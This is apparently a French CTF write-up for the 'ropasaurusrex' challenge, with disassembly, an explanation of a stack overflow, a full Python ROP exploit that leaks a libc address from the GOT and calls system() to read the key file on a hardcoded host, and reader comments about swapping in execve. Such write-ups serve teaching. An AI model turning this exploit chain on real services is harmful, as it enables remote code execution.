FR EN

Ropasaurusrex - pwn 200

Pork - pwn 250 >>

Un tout petit write-up sur le cas d'école du ropasaurusrex. C'est un exécutable classique, compilé pour x86. Sa libc est aussi fournie. Il commence à 0x804841d avec un workflow subtil à reverser :

804841d: push %ebp
804841e: mov %esp,%ebp
8048420: and $0xfffffff0,%esp
8048423: sub $0x10,%esp
8048426: call 80483f4

80483f4: push %ebp
80483f5: mov %esp,%ebp
80483f7: sub $0x98,%esp
80483fd: movl $0x100,0x8(%esp)
8048405: lea -0x88(%ebp),%eax
804840b: mov %eax,0x4(%esp)
804840f: movl $0x0,(%esp)
8048416: call 804832c <read@plt>
804841b: leave 
804841c: ret

804842b: movl $0x4,0x8(%esp)
8048433: movl $0x8048510,0x4(%esp)
804843b: movl $0x1,(%esp)
8048442: call 804830c <write@plt>
8048447: leave 
8048448: ret

C'est donc, comme son nom l'indique, une exploitation ROP, avec un read(0, ebp - 0x88, 0x100) et donc une longueur chaîne rop de 0x74 bytes max. Comme on a read et write dans la plt, on peut simplement leaker une adresse de la GOT pour avoir l'adresse de base de la libc et donc induire l'adresse de n'importe quelle fonction, ensuite, on redéclenche l'overflow en pouvant donc construire n'importe quelle chaîne ret2libc :

#!/usr/bin/python

import socket
import struct
import time

HOST = "54.234.151.114"
PORT = 1025

s = socket.socket()
s.connect((HOST, PORT))

print "[+] Connected"
# elf data
read_plt = 0x0804832c
write_plt = 0x0804830c
lsm_got = 0x8049618
relaunch = 0x080483f4
bss_buf = 0x08049628
pop3_ret = 0x80484b6

rop_stack = [ write_plt , relaunch, 1, lsm_got, 0x4 ]

s.send('A'*0x8c + "".join([struct.pack("<I", x) for x in rop_stack]))

found_lsm = struct.unpack("<I", s.recv(1024)[0:4])[0]

# libc data
lsm_offset = 0x00016bc0
system_offset = 0x00039450

libc_base = found_lsm - lsm_offset
system = libc_base + system_offset

print "[+] Founc libc base"

rop_stack = [ read_plt , pop3_ret, 0, bss_buf, 1024, system, relaunch, bss_buf ]
s.send('A'*0x8c + "".join([struct.pack("<I", x) for x in rop_stack]))
time.sleep(1)

print "[+] Injecting system() arg"
s.sendall("cat /home/ropasaurusrex/key")
while 1:
	x = s.recv(1024)
	if not x:
		break
	print x

D'où le flag : you_cant_stop_the_ropasaurusrex.

Pork - pwn 250 >>

2 comments

  1. FrizN 04/24/13 09:19

    execve ne va pas marcher pareil. Il attends en argument des tableaux de chaines de caractères (comme argv et env). Essayer plutôt avec execl par exemple (et ne pas oublier le < du little endian dans le pack).

  2. anon 04/23/13 21:32

    excellent write's up.
    quand je change system avec execve l'exploit ne marche pas !
    j'ai mis le ROP comme ca :

    rop_stack = [ read_plt , pop3_ret, 0, bss_buf, 1024, execve, relaunch, bss_buf pack("I",0),pack("I",0)]

    pouvez-vous me donner la raison ?
    merci.